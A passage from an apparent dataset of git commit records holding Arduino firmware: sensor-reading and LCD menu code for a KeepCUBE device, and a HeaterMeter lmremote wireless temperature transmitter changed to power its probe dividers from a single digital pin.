return data;\n}\n\n\nfloat HTU_convTemp()\n{\n return -46.85 + 175.72 * ((htu(HTU_ADRESA, HTU_TEPLOTA)) \/ pow(2, 16));\n}\n\n\nfloat HTU_convHumi()\n{\n return -6 + 125 * ((htu(HTU_ADRESA, HTU_VLHKOST)) \/ pow(2, 16));\n}\n\n\nfloat BMP(int in)\n{\n const int P0 = 1013.25;\n double T, P;\n char result = bmp.startMeasurment();\n\n if (result != 0) {\n delay(result);\n result = bmp.getTemperatureAndPressure(T, P);\n\n if (result != 0)\n {\n double A = bmp.altitude(P, P0);\n switch (in) {\n case 1:\n return T;\n\n case 2:\n P += 40;\n return P;\n\n case 3:\n return A;\n }\n }\n }\n}\n\n\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\n\nint mMenu()\n{\n mPozice = 1;\n mZacatek = true;\n mZobrazeny = 1;\n\n\n\n\n refresh_led();\n if (digitalRead(upPin) == 1) {\n wait4antikey(1);\n goto preskoc;\n\n }\n if (digitalRead(downPin) == 1) {\n wait4antikey(2);\n goto preskoc;\n\n }\n if (digitalRead(enterPin) == 1) {\n wait4antikey(3);\n goto preskoc;\n }\n if (digitalRead(backPin) == 1) {\n wait4antikey(4);\n goto preskoc;\n }\n\n\n return 0;\n\npreskoc:\n\n lcd.setCursor(0, 0); lcd.print(F(\"KeepCUBE setup \"));\n lcd.setCursor(0, 1); lcd.print(mChar[0]);\n\n mStart();\n}\n\n\nint mStart()\n{\n\n while (true) {\n\n lcd.setCursor(0, 0); lcd.print(F(\"KeepCUBE setup \"));\n keyPressed = wait4key();\n wait4antikey(keyPressed);\n\n switch (keyPressed) {\n case 1:\n\n\n if (mFlip == 2) {\n mPozice -= 2;\n }\n\n\n \/\/if (mFlip == 1 && mPozice == mPocet) {\n \/\/ mPozice = (mPocet - 1);\n \/\/}\n\n \/\/if (mZacatek == true) {mPozice -= 1; mZacatek = false;}\n mUp();\n break;\n\n case 2:\n if (mFlip == 1) {\n mPozice += 2;\n }\n mDown();\n break;\n\n case 3:\n mEnter();\n break;\n\n case 4:\n return 0;\n break;\n }\n }\n}\n\n\nvoid mUp()\n{\n if (mPozice < 0) {\n mPozice = 0;\n }\n\n if (mPozice == mPocet) {\n mPozice = mPocet;\n mPozice--;\n }\n lcd.setCursor(0, 1); lcd.print(mChar[mPozice]);\n mZobrazeny = mPozice;\n mZobrazeny++;\n mPozice--;\n mFlip = 1;\n}\n\n\nvoid mDown()\n{\n lcd.setCursor(0, 1); lcd.print(mChar[mPozice]);\n mZobrazeny = mPozice;\n mZobrazeny++;\n mPozice++;\n\n if (mPozice == mPocet) {\n mPozice = mPozice - 1;\n }\n mFlip = 2;\n}\n\n\nvoid mEnter()\n{\n switch (mZobrazeny) { \/\/Tady se zpousti ty funkce z menu\n case 1:\n zobrazitIP();\n mBack();\n break;\n\n case 2:\n nastavitBarvu();\n mBack();\n break;\n\n case 3:\n ukazatTeplotu();\n mBack();\n break;\n\n case 4:\n ukazatVlhkost();\n mBack();\n break;\n\n case 5:\n ukazatTlak();\n mBack();\n break;\n\n case 6:\n restartovatKC();\n mBack();\n break;\n }\n}\n\n\nvoid mBack()\n{\nzacatek:\n keyPressed = wait4key();\n wait4antikey(keyPressed);\n if (keyPressed == 4) {\n goto konec;\n }\n goto zacatek;\nkonec:\n int mToCoSeMaZobrazit = mZobrazeny;\n mToCoSeMaZobrazit--;\n lcd.setCursor(0, 1); lcd.print(mChar[mToCoSeMaZobrazit]);\n}\n\n\nint wait4key()\n{\n while (true)\n {\n refresh_led();\n if (digitalRead(upPin) == 1) {\n return 1;\n }\n if (digitalRead(downPin) == 1) {\n return 2;\n }\n if (digitalRead(enterPin) == 1) {\n return 3;\n }\n if (digitalRead(backPin) == 1) {\n return 4;\n }\n }\n}\n\n\nvoid wait4antikey(int key)\n{\n switch (key) {\n case 1:\n while (digitalRead(upPin) != 0) {\n refresh_led();\n }\n break;\n case 2:\n while (digitalRead(downPin) != 0) {\n refresh_led();\n }\n break;\n case 3:\n while (digitalRead(enterPin) != 0) {\n refresh_led();\n }\n break;\n case 4:\n while (digitalRead(backPin) != 0) {\n refresh_led();\n }\n break;\n }\n}\n\n\nvoid wait4randomkey()\n{\n int key = wait4key();\n\n switch (key) {\n case 1:\n while (digitalRead(upPin) != 0) {\n refresh_led();\n }\n break;\n case 2:\n while (digitalRead(downPin) != 0) {\n refresh_led();\n }\n break;\n case 3:\n while (digitalRead(enterPin) != 0) {\n refresh_led();\n }\n break;\n case 4:\n while (digitalRead(backPin) != 0) {\n refresh_led();\n }\n break;\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Base\/Base.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"d6289e7f4ee494dc7e3d827e15ae322fa8d77565","subject":"[lmr] Use only one digital pin for sourcing power to the measurement dividers","message":"[lmr] Use only one digital pin for sourcing power to the measurement dividers\n","repos":"shmick\/HeaterMeter,dwright134\/HeaterMeter,CapnBry\/HeaterMeter,shmick\/HeaterMeter,dwright134\/HeaterMeter,CapnBry\/HeaterMeter,shmick\/HeaterMeter,dwright134\/HeaterMeter,shmick\/HeaterMeter,kdakers80\/HeaterMeter,kdakers80\/HeaterMeter,kdakers80\/HeaterMeter,CapnBry\/HeaterMeter,CapnBry\/HeaterMeter,CapnBry\/HeaterMeter,kdakers80\/HeaterMeter,dwright134\/HeaterMeter,shmick\/HeaterMeter,kdakers80\/HeaterMeter,kdakers80\/HeaterMeter,dwright134\/HeaterMeter,shmick\/HeaterMeter,CapnBry\/HeaterMeter,dwright134\/HeaterMeter,shmick\/HeaterMeter,CapnBry\/HeaterMeter","old_file":"arduino\/lmremote\/lmremote.ino","new_file":"arduino\/lmremote\/lmremote.ino","new_contents":"#include <avr\/wdt.h>\n#include <avr\/sleep.h>\n#include <rf12_itplus.h>\n\n\/\/ Enabling LMREMOTE_SERIAL also disables several power saving features\n#define LMREMOTE_SERIAL 38400\n\n\/\/ Base Idenfier for the RFM12B (0-63)\n\/\/ The transmitted ID is this ID plus the pin number\nconst char _rfNodeBaseId = 0;\n\/\/ RFM12B band RF12_433MHZ, RF12_868MHZ, RF12_915MHZ\nconst unsigned char _rfBand = RF12_915MHZ;\n\/\/ How many seconds to delay between measurements\nconst unsigned char _sleepInterval = 2;\n\/\/ Analog pins to read. This is a bitfield, LSB is analog 0\nconst unsigned char _enabledProbePins = 0x01;\n\/\/ Analog pin connected to source power. Set to 0xff to disable sampling\nconst unsigned char _pinBattery = 1;\n\/\/ Digital pins for LEDs, 0xff to disable\nconst unsigned char _pinLedRx = 0xff;\nconst unsigned char _pinLedTx = 0xff; \/\/9\n\/\/ Digital pin used for sourcing power to the probe dividers\nconst unsigned char _pinProbeSupply = 4;\n\/\/ Percentage (integer) of VCC where the battery is considered low (33% = 1.1V)\n#define BATTERY_LOW_PCT 33\n\/\/ Number of seconds to keep the \"recent\/new\" bit set\n#define RECENT_EXPIRE_SECS 1800\n\/\/ Number of oversampling bits when measuring temperature [0-2]\n#define TEMP_OVERSAMPLE_BITS 1\n\n#define RF_PINS_PER_SOURCE 6 \n#define PIN_DISABLED(pin) ((_enabledProbePins & (1 << pin)) == 0)\n\n\/\/ Bits used in output packet\n\/\/ byte0\/1 reserved Node IDs\n#define NODEID_MASTER 0x3F\n\/\/ byte1\n#define BYTE1_DUAL_PROBE 0x10\n#define BYTE1_RECENT_BOOT 0x20\n\/\/ hygro byte\n#define HYGRO_BATTERY_OK 0x00\n#define HYGRO_BATTERY_LOW 0x80\n#define HYGRO_NO_HYGRO 0x6A\n#define HYGRO_SECOND_PROBE 0x7D\n#define HYGRO_LMREMOTE_KEY 0x7F\n\n#ifdef LMREMOTE_SERIAL\n #define SLEEPMODE_TX 1\n #define SLEEPMODE_ADC SLEEP_MODE_IDLE\n#else\n #define SLEEPMODE_TX 2\n #define SLEEPMODE_ADC SLEEP_MODE_ADC\n#endif\n\n#define RECV_CYCLE_TIME 5000 \/\/ expected receive cycle, millisecond\n#define MIN_RECV_WIN 8 \/\/ minimum window size, power of 2\n#define MAX_RECV_WIN 512 \/\/ maximum window size, power of 2\n\nstatic unsigned int _previousReads[RF_PINS_PER_SOURCE];\nstatic unsigned long _tempReadLast;\nstatic unsigned int _loopCnt;\nstatic unsigned char _sameCount;\nstatic unsigned char _isRecent = BYTE1_RECENT_BOOT;\nstatic unsigned char _isBattLow;\n\nstatic unsigned int _recvCycleAct;\nstatic unsigned int _recvWindow;\nstatic unsigned long _recvLast;\nstatic bool _recvSynced;\n\nstatic volatile bool _adcBusy;\nstatic volatile bool _watchdogWaiting;\n\n\/\/ The WDT is used solely to wake us from sleep\nISR(WDT_vect) { _watchdogWaiting = false; }\nISR(ADC_vect) { _adcBusy = false; }\n\nstatic bool packetReceived(unsigned char nodeId, unsigned int val)\n{\n#if LMREMOTE_SERIAL\n Serial.print(F(\"IN(\"));\n Serial.print(nodeId);\n Serial.print(',');\n Serial.print(rf12_rssi(), DEC);\n Serial.print(F(\")=\"));\n Serial.print(val);\n Serial.print('\\n');\n#endif\n\n if (nodeId != NODEID_MASTER)\n return false;\n \/\/ val contains requested fan speed percent\n return true;\n}\n\nstatic bool rf12_doWork(void)\n{\n if (rf12_recvDone() && rf12_crc == 0)\n {\n if (_pinLedRx != 0xff) digitalWrite(_pinLedRx, HIGH);\n\n unsigned char nodeId = ((rf12_buf[0] & 0x0f) << 2) | (rf12_buf[1] >> 6);\n unsigned int val = (rf12_buf[1] & 0x0f) << 8 | rf12_buf[2];\n return packetReceived(nodeId, val);\n }\n if (_pinLedRx != 0xff) digitalWrite(_pinLedRx, LOW);\n return false;\n}\n\nstatic unsigned int analogReadSleep(unsigned char pin)\n{\n _adcBusy = true;\n ADMUX = (DEFAULT << 6) | pin;\n bitSet(ADCSRA, ADIE);\n set_sleep_mode(SLEEPMODE_ADC);\n while (_adcBusy)\n sleep_mode();\n return ADC;\n}\n\nstatic void sleepPeriod(uint8_t wdt_period)\n{\n set_sleep_mode(SLEEP_MODE_PWR_DOWN);\n\n \/\/ Set the watchdog to wake us up and turn on its interrupt\n wdt_enable(wdt_period);\n WDTCSR |= bit(WDIE);\n\n \/\/ Turn off Brown Out Detector\n \/\/ sleep must be entered within 3 cycles of BODS being set\n sleep_enable();\n MCUCR = MCUCR | bit(BODSE) | bit(BODS);\n MCUCR = (MCUCR & ~bit(BODSE)) | bit(BODS);\n \n \/\/ Sleep\n sleep_cpu();\n \n \/\/ Back from sleep\n wdt_disable();\n sleep_disable();\n}\n\nstatic void sleep(unsigned int msec)\n\/\/ Code copied from Sleepy::loseSomeSleep(), jeelib\n{\n unsigned int msleft = msec;\n while (msleft >= 16)\n {\n char wdp = 0; \/\/ wdp 0..9 corresponds to roughly 16..8192 ms\n \/\/ calc wdp as log2(msleft\/16), i.e. loop & inc while next value is ok\n for (unsigned int m = msleft; m >= 32; m >>= 1)\n if (++wdp >= 9)\n break;\n _watchdogWaiting = true;\n sleepPeriod(wdp);\n unsigned int halfms = 8 << wdp;\n msleft -= halfms;\n if (_watchdogWaiting)\n continue;\n msleft -= halfms;\n }\n\n \/\/ adjust the milli ticks, since we will have missed several\n#if defined(__AVR_ATtiny84__) || defined(__AVR_ATtiny85__) || defined (__AVR_ATtiny44__)\n extern volatile unsigned long millis_timer_millis;\n millis_timer_millis += msecs - msleft;\n#else\n extern volatile unsigned long timer0_millis;\n timer0_millis += msec - msleft;\n#endif\n}\n\nstatic void resetEstimate(void)\n{\n#if _DEBUG\n Serial.print(F(\"Resetting Estimate\\n\"));\n#endif\n _recvCycleAct = RECV_CYCLE_TIME;\n _recvWindow = MAX_RECV_WIN;\n _recvSynced = false;\n\n unsigned long start = millis();\n while (!rf12_doWork())\n if (millis() - start > RECV_CYCLE_TIME)\n return;\n _recvLast = millis();\n}\n\nstatic bool optimalSleep(void)\n\/\/ Code adapted from jeelib\/examples\/syncRecv optimalSleep()\n{\n unsigned char lost = (millis() - _recvLast + _recvCycleAct \/ 2) \/ _recvCycleAct;\n if (lost > 10)\n {\n resetEstimate();\n return false;\n }\n\n \/\/ double the window every N packets lost\n if (lost > 0 && lost % 2 == 0 && _recvWindow < MAX_RECV_WIN)\n _recvWindow *= 2;\n\n unsigned long predict = _recvLast + (lost + 1) * _recvCycleAct;\n unsigned int sleepDur = predict - _recvWindow - millis();\n sleep(sleepDur);\n rf12_sleep(RF12_WAKEUP);\n\n unsigned long recvTime;\n unsigned long timeout = predict + _recvWindow;\n do {\n recvTime = millis();\n if ((long)(recvTime - timeout) >= 0)\n {\n#if _DEBUG\n Serial.print(\" f \"); Serial.print(lost);\n Serial.print(\" s \"); Serial.print(sleepDur);\n Serial.print(\" e \"); Serial.print(_recvCycleAct);\n Serial.print(\" w \"); Serial.print(_recvWindow);\n Serial.print(\" p \"); Serial.print(predict);\n Serial.print(\" r \"); Serial.println(recvTime);\n Serial.flush();\n#endif\n return false;\n }\n } while (!rf12_doWork());\n\n unsigned int newEst = (recvTime - _recvLast) \/ (lost + 1);\n if (_recvSynced)\n _recvCycleAct = (4 * _recvCycleAct + newEst + 3) \/ 5; \/\/ 5-fold smoothing\n else\n _recvCycleAct = newEst;\n _recvLast = recvTime;\n\n#if _DEBUG\n Serial.print(\" n \"); Serial.print(lost);\n Serial.print(\" e \"); Serial.print(_recvCycleAct);\n Serial.print(\" E \"); Serial.print(newEst);\n Serial.print(\" w \"); Serial.print(_recvWindow);\n Serial.print(\" p \"); Serial.print(predict);\n Serial.print(\" r \"); Serial.println(recvTime);\n#endif\n\n if (_recvWindow > MIN_RECV_WIN)\n _recvWindow \/= 2;\n else\n _recvSynced = true;\n\n return true;\n}\n\nstatic void updateBatteryLow(void)\n{\n const unsigned char BATREAD_COUNT = 4;\n \n _isBattLow = HYGRO_BATTERY_OK;\n if (_pinBattery != 0xff)\n {\n unsigned int adcSum = 0;\n unsigned char battPct;\n for (unsigned char i=0; i<BATREAD_COUNT; ++i)\n adcSum += analogReadSleep(_pinBattery);\n \/\/ Percent of VCC\n battPct = (adcSum * 100UL) \/ (1024 * BATREAD_COUNT);\n\n#ifdef LMREMOTE_SERIAL\n Serial.print(\"Battery %: \"); Serial.print(battPct, DEC); Serial.print('\\n');\n#endif\n\n if (battPct < BATTERY_LOW_PCT)\n _isBattLow = HYGRO_BATTERY_LOW;\n }\n}\n\nstatic void transmitTemp(unsigned char pin)\n{\n unsigned char outbuf[4];\n unsigned char nodeId = _rfNodeBaseId + pin;\n unsigned int val = _previousReads[pin];\n val <<= (12 - (10 + TEMP_OVERSAMPLE_BITS));\n outbuf[0] = 0x90 | ((nodeId & 0x3f) >> 2);\n outbuf[1] = ((nodeId & 0x3f) << 6) | _isRecent | (val >> 8);\n outbuf[2] = (val & 0xff);\n outbuf[3] = HYGRO_LMREMOTE_KEY | _isBattLow;\n \/\/Serial.println(outbuf[3], HEX);\n\n \/\/ Don't check for air to be clear, we just woke from sleep and it will be milliseconds before\n \/\/ the RFM chip is actually up and running\n rf12_sendStart(outbuf, sizeof(outbuf));\n rf12_sendWait(SLEEPMODE_TX);\n}\n\nstatic void newTempsAvailable(void)\n{\n \/\/ Enable the transmitter because it takes 1-5ms to turn on (3ms in my testing)\n rf12_sleep(RF12_WAKEUP);\n\n updateBatteryLow();\n \/\/ We're done with the ADC shut it down until the next wake cycle\n ADCSRA &= ~bit(ADEN);\n if (_isRecent && (millis() > RECENT_EXPIRE_SECS))\n {\n \/\/Serial.print(\"No longer recent\\n\");\n _isRecent = 0;\n }\n\n boolean hasTransmitted = false;\n for (unsigned char pin=0; pin < RF_PINS_PER_SOURCE; ++pin)\n {\n if (PIN_DISABLED(pin))\n continue;\n if (hasTransmitted) sleep(16);\n transmitTemp(pin);\n hasTransmitted = true;\n }\n \n rf12_sleep(RF12_SLEEP);\n if (_pinLedTx != 0xff)\n {\n digitalWrite(_pinLedTx, HIGH);\n sleep(16);\n digitalWrite(_pinLedTx, LOW);\n }\n}\n\nstatic void stabilizeAdc(void)\n{\n const unsigned char INTERNAL_REF = 0b1110;\n unsigned int last;\n unsigned char totalCnt = 0;\n unsigned char sameCnt = 0;\n unsigned int curr = analogReadSleep(INTERNAL_REF);\n \/\/ Reads the adc a bunch of times until the value settles\n \/\/ Usually you hear \"discard the first few ADC readings after sleep\"\n \/\/ but this seems a bit more scientific as we wait for the AREF cap to charge\n do {\n ++totalCnt;\n#ifdef LMREMOTE_SERIAL\n Serial.print(curr, DEC);\n Serial.print(' ');\n#endif\n last = curr;\n curr = analogReadSleep(INTERNAL_REF);\n if (last == curr)\n ++sameCnt;\n else\n sameCnt = 0;\n } while ((totalCnt < 64) && (sameCnt < 4));\n}\n\nstatic void checkTemps(void)\n{\n const unsigned char OVERSAMPLE_COUNT[] = {1, 4, 16, 64}; \/\/ 4^n\n boolean modified = false;\n unsigned int oversampled_adc = 0;\n\n#ifdef LMREMOTE_SERIAL\n Serial.print(millis(), DEC);\n Serial.print(\" Checking temps: \");\n#endif\n\n \/\/ Enable the ADC\n ADCSRA |= bit(ADEN);\n \/\/ The probe themistor voltage dividers are normally powered down\n \/\/ to save power, using digital lines to supply Vcc to them.\n digitalWrite(_pinProbeSupply, HIGH);\n \/\/ Wait for AREF capacitor to charge\n stabilizeAdc();\n\n for (unsigned char pin=0; pin < RF_PINS_PER_SOURCE; ++pin)\n {\n if (PIN_DISABLED(pin))\n continue;\n\n for (unsigned char o=0; o<OVERSAMPLE_COUNT[TEMP_OVERSAMPLE_BITS]; ++o)\n {\n unsigned int adc = analogReadSleep(pin);\n if (adc == 0 || adc >= 1023)\n {\n oversampled_adc = 0;\n break;\n }\n oversampled_adc += adc;\n }\n oversampled_adc = oversampled_adc >> TEMP_OVERSAMPLE_BITS;\n\n#ifdef LMREMOTE_SERIAL\n Serial.print(oversampled_adc, DEC); Serial.print(' ');\n#endif\n if (oversampled_adc != _previousReads[pin])\n modified = true;\n _previousReads[pin] = oversampled_adc;\n }\n digitalWrite(_pinProbeSupply, LOW);\n\n#ifdef LMREMOTE_SERIAL\n Serial.print('\\n');\n#endif\n\n if (modified || (_sameCount > (30 \/ _sleepInterval)))\n {\n _sameCount = 0;\n newTempsAvailable();\n }\n else\n ++_sameCount;\n \/\/ Disable the ADC\n ADCSRA &= ~bit(ADEN);\n\n _tempReadLast = millis();\n}\n\nvoid setup(void)\n{\n \/\/ Turn off the units we never use (this only affects non-sleep power)\n PRR = bit(PRUSART0) | bit(PRTWI) | bit(PRTIM1) | bit(PRTIM2);\n \/\/ Disable digital input buffers on the analog in ports\n DIDR0 = bit(ADC5D) | bit(ADC4D) | bit(ADC3D) | bit(ADC2D) | bit(ADC1D) | bit(ADC0D);\n DIDR1 = bit(AIN1D) | bit(AIN0D);\n\n#ifdef LMREMOTE_SERIAL\n PRR &= ~bit(PRUSART0);\n Serial.begin(LMREMOTE_SERIAL); Serial.println(\"$UCID,lmremote\"); delay(10);\n#endif\n\n rf12_initialize(1, _rfBand);\n \/\/ Crystal 1.66MHz Low Battery Detect 2.2V\n rf12_control(0xC040);\n\n if (_pinLedRx != 0xff) pinMode(_pinLedRx, OUTPUT);\n if (_pinLedTx != 0xff) pinMode(_pinLedTx, OUTPUT);\n\n pinMode(_pinProbeSupply, OUTPUT);\n\n \/\/ Force a transmit on next read\n memset(_previousReads, 0xff, sizeof(_previousReads));\n}\n\nvoid loop(void)\n{\n if (_loopCnt % 2 == 0)\n checkTemps();\n\n#ifdef LMREMOTE_SERIAL\n Serial.flush(); delay(2);\n#endif\n\n if (_recvLast == 0)\n resetEstimate();\n else\n optimalSleep();\n rf12_sleep(RF12_SLEEP);\n\n ++_loopCnt;\n}\n\n\n","old_contents":"#include <avr\/wdt.h>\n#include <avr\/sleep.h>\n#include <rf12_itplus.h>\n\n\/\/ Enabling LMREMOTE_SERIAL also disables several power saving features\n#define LMREMOTE_SERIAL 38400\n\n\/\/ Base Idenfier for the RFM12B (0-63)\n\/\/ The transmitted ID is this ID plus the pin number\nconst char _rfNodeBaseId = 0;\n\/\/ RFM12B band RF12_433MHZ, RF12_868MHZ, RF12_915MHZ\nconst unsigned char _rfBand = RF12_915MHZ;\n\/\/ How many seconds to delay between measurements\nconst unsigned char _sleepInterval = 2;\n\/\/ Analog pins to read. This is a bitfield, LSB is analog 0\nconst unsigned char _enabledProbePins = 0x01;\n\/\/ Analog pin connected to source power. Set to 0xff to disable sampling\nconst unsigned char _pinBattery = 1;\n\/\/ Digital pins for LEDs, 0xff to disable\nconst unsigned char _pinLedRx = 0xff;\nconst unsigned char _pinLedTx = 0xff; \/\/9\n\/\/ Digital pins used for sourcing power to the probe dividers\nconst unsigned char _pinProbeSupplyBase = 4;\n\/\/ Percentage (integer) of VCC where the battery is considered low (33% = 1.1V)\n#define BATTERY_LOW_PCT 33\n\/\/ Number of seconds to keep the \"recent\/new\" bit set\n#define RECENT_EXPIRE_SECS 1800\n\/\/ Number of oversampling bits when measuring temperature [0-2]\n#define TEMP_OVERSAMPLE_BITS 1\n\n#define RF_PINS_PER_SOURCE 6 \n#define PIN_DISABLED(pin) ((_enabledProbePins & (1 << pin)) == 0)\n\n\/\/ Bits used in output packet\n\/\/ byte0\/1 reserved Node IDs\n#define NODEID_MASTER 0x3F\n\/\/ byte1\n#define BYTE1_DUAL_PROBE 0x10\n#define BYTE1_RECENT_BOOT 0x20\n\/\/ hygro byte\n#define HYGRO_BATTERY_OK 0x00\n#define HYGRO_BATTERY_LOW 0x80\n#define HYGRO_NO_HYGRO 0x6A\n#define HYGRO_SECOND_PROBE 0x7D\n#define HYGRO_LMREMOTE_KEY 0x7F\n\n#ifdef LMREMOTE_SERIAL\n #define SLEEPMODE_TX 1\n #define SLEEPMODE_ADC SLEEP_MODE_IDLE\n#else\n #define SLEEPMODE_TX 2\n #define SLEEPMODE_ADC SLEEP_MODE_ADC\n#endif\n\n#define RECV_CYCLE_TIME 5000 \/\/ expected receive cycle, millisecond\n#define MIN_RECV_WIN 8 \/\/ minimum window size, power of 2\n#define MAX_RECV_WIN 512 \/\/ maximum window size, power of 2\n\nstatic unsigned int _previousReads[RF_PINS_PER_SOURCE];\nstatic unsigned long _tempReadLast;\nstatic unsigned int _loopCnt;\nstatic unsigned char _sameCount;\nstatic unsigned char _isRecent = BYTE1_RECENT_BOOT;\nstatic unsigned char _isBattLow;\n\nstatic unsigned int _recvCycleAct;\nstatic unsigned int _recvWindow;\nstatic unsigned long _recvLast;\nstatic bool _recvSynced;\n\nstatic volatile bool _adcBusy;\nstatic volatile bool _watchdogWaiting;\n\n\/\/ The WDT is used solely to wake us from sleep\nISR(WDT_vect) { _watchdogWaiting = false; }\nISR(ADC_vect) { _adcBusy = false; }\n\nstatic bool packetReceived(unsigned char nodeId, unsigned int val)\n{\n#if LMREMOTE_SERIAL\n Serial.print(F(\"IN(\"));\n Serial.print(nodeId);\n Serial.print(',');\n Serial.print(rf12_rssi(), DEC);\n Serial.print(F(\")=\"));\n Serial.print(val);\n Serial.print('\\n');\n#endif\n\n if (nodeId != NODEID_MASTER)\n return false;\n \/\/ val contains requested fan speed percent\n return true;\n}\n\nstatic bool rf12_doWork(void)\n{\n if (rf12_recvDone() && rf12_crc == 0)\n {\n if (_pinLedRx != 0xff) digitalWrite(_pinLedRx, HIGH);\n\n unsigned char nodeId = ((rf12_buf[0] & 0x0f) << 2) | (rf12_buf[1] >> 6);\n unsigned int val = (rf12_buf[1] & 0x0f) << 8 | rf12_buf[2];\n return packetReceived(nodeId, val);\n }\n if (_pinLedRx != 0xff) digitalWrite(_pinLedRx, LOW);\n return false;\n}\n\nstatic unsigned int analogReadSleep(unsigned char pin)\n{\n _adcBusy = true;\n ADMUX = (DEFAULT << 6) | pin;\n bitSet(ADCSRA, ADIE);\n set_sleep_mode(SLEEPMODE_ADC);\n while (_adcBusy)\n sleep_mode();\n return ADC;\n}\n\nstatic void sleepPeriod(uint8_t wdt_period)\n{\n set_sleep_mode(SLEEP_MODE_PWR_DOWN);\n\n \/\/ Set the watchdog to wake us up and turn on its interrupt\n wdt_enable(wdt_period);\n WDTCSR |= bit(WDIE);\n\n \/\/ Turn off Brown Out Detector\n \/\/ sleep must be entered within 3 cycles of BODS being set\n sleep_enable();\n MCUCR = MCUCR | bit(BODSE) | bit(BODS);\n MCUCR = (MCUCR & ~bit(BODSE)) | bit(BODS);\n \n \/\/ Sleep\n sleep_cpu();\n \n \/\/ Back from sleep\n wdt_disable();\n sleep_disable();\n}\n\nstatic void sleep(unsigned int msec)\n\/\/ Code copied from Sleepy::loseSomeSleep(), jeelib\n{\n unsigned int msleft = msec;\n while (msleft >= 16)\n {\n char wdp = 0; \/\/ wdp 0..9 corresponds to roughly 16..8192 ms\n \/\/ calc wdp as log2(msleft\/16), i.e. loop & inc while next value is ok\n for (unsigned int m = msleft; m >= 32; m >>= 1)\n if (++wdp >= 9)\n break;\n _watchdogWaiting = true;\n sleepPeriod(wdp);\n unsigned int halfms = 8 << wdp;\n msleft -= halfms;\n if (_watchdogWaiting)\n continue;\n msleft -= halfms;\n }\n\n \/\/ adjust the milli ticks, since we will have missed several\n#if defined(__AVR_ATtiny84__) || defined(__AVR_ATtiny85__) || defined (__AVR_ATtiny44__)\n extern volatile unsigned long millis_timer_millis;\n millis_timer_millis += msecs - msleft;\n#else\n extern volatile unsigned long timer0_millis;\n timer0_millis += msec - msleft;\n#endif\n}\n\nstatic void resetEstimate(void)\n{\n#if _DEBUG\n Serial.print(F(\"Resetting Estimate\\n\"));\n#endif\n _recvCycleAct = RECV_CYCLE_TIME;\n _recvWindow = MAX_RECV_WIN;\n _recvSynced = false;\n\n unsigned long start = millis();\n while (!rf12_doWork())\n if (millis() - start > RECV_CYCLE_TIME)\n return;\n _recvLast = millis();\n}\n\nstatic bool optimalSleep(void)\n\/\/ Code adapted from jeelib\/examples\/syncRecv optimalSleep()\n{\n unsigned char lost = (millis() - _recvLast + _recvCycleAct \/ 2) \/ _recvCycleAct;\n if (lost > 10)\n {\n resetEstimate();\n return false;\n }\n\n \/\/ double the window every N packets lost\n if (lost > 0 && lost % 2 == 0 && _recvWindow < MAX_RECV_WIN)\n _recvWindow *= 2;\n\n unsigned long predict = _recvLast + (lost + 1) * _recvCycleAct;\n unsigned int sleepDur = predict - _recvWindow - millis();\n sleep(sleepDur);\n rf12_sleep(RF12_WAKEUP);\n\n unsigned long recvTime;\n unsigned long timeout = predict + _recvWindow;\n do {\n recvTime = millis();\n if ((long)(recvTime - timeout) >= 0)\n {\n#if _DEBUG\n Serial.print(\" f \"); Serial.print(lost);\n Serial.print(\" s \"); Serial.print(sleepDur);\n Serial.print(\" e \"); Serial.print(_recvCycleAct);\n Serial.print(\" w \"); Serial.print(_recvWindow);\n Serial.print(\" p \"); Serial.print(predict);\n Serial.print(\" r \"); Serial.println(recvTime);\n Serial.flush();\n#endif\n return false;\n }\n } while (!rf12_doWork());\n\n unsigned int newEst = (recvTime - _recvLast) \/ (lost + 1);\n if (_recvSynced)\n _recvCycleAct = (4 * _recvCycleAct + newEst + 3) \/ 5; \/\/ 5-fold smoothing\n else\n _recvCycleAct = newEst;\n _recvLast = recvTime;\n\n#if _DEBUG\n Serial.print(\" n \"); Serial.print(lost);\n Serial.print(\" e \"); Serial.print(_recvCycleAct);\n Serial.print(\" E \"); Serial.print(newEst);\n Serial.print(\" w \"); Serial.print(_recvWindow);\n Serial.print(\" p \"); Serial.print(predict);\n Serial.print(\" r \"); Serial.println(recvTime);\n#endif\n\n if (_recvWindow > MIN_RECV_WIN)\n _recvWindow \/= 2;\n else\n _recvSynced = true;\n\n return true;\n}\n\nstatic void updateBatteryLow(void)\n{\n const unsigned char BATREAD_COUNT = 4;\n \n _isBattLow = HYGRO_BATTERY_OK;\n if (_pinBattery != 0xff)\n {\n unsigned int adcSum = 0;\n unsigned char battPct;\n for (unsigned char i=0; i<BATREAD_COUNT; ++i)\n adcSum += analogReadSleep(_pinBattery);\n \/\/ Percent of VCC\n battPct = (adcSum * 100UL) \/ (1024 * BATREAD_COUNT);\n\n#ifdef LMREMOTE_SERIAL\n Serial.print(\"Battery %: \"); Serial.print(battPct, DEC); Serial.print('\\n');\n#endif\n\n if (battPct < BATTERY_LOW_PCT)\n _isBattLow = HYGRO_BATTERY_LOW;\n }\n}\n\nstatic void transmitTemp(unsigned char pin)\n{\n unsigned char outbuf[4];\n unsigned char nodeId = _rfNodeBaseId + pin;\n unsigned int val = _previousReads[pin];\n val <<= (12 - (10 + TEMP_OVERSAMPLE_BITS));\n outbuf[0] = 0x90 | ((nodeId & 0x3f) >> 2);\n outbuf[1] = ((nodeId & 0x3f) << 6) | _isRecent | (val >> 8);\n outbuf[2] = (val & 0xff);\n outbuf[3] = HYGRO_LMREMOTE_KEY | _isBattLow;\n \/\/Serial.println(outbuf[3], HEX);\n\n \/\/ Don't check for air to be clear, we just woke from sleep and it will be milliseconds before\n \/\/ the RFM chip is actually up and running\n rf12_sendStart(outbuf, sizeof(outbuf));\n rf12_sendWait(SLEEPMODE_TX);\n}\n\nstatic void newTempsAvailable(void)\n{\n \/\/ Enable the transmitter because it takes 1-5ms to turn on (3ms in my testing)\n rf12_sleep(RF12_WAKEUP);\n\n updateBatteryLow();\n \/\/ We're done with the ADC shut it down until the next wake cycle\n ADCSRA &= ~bit(ADEN);\n if (_isRecent && (millis() > RECENT_EXPIRE_SECS))\n {\n \/\/Serial.print(\"No longer recent\\n\");\n _isRecent = 0;\n }\n\n boolean hasTransmitted = false;\n for (unsigned char 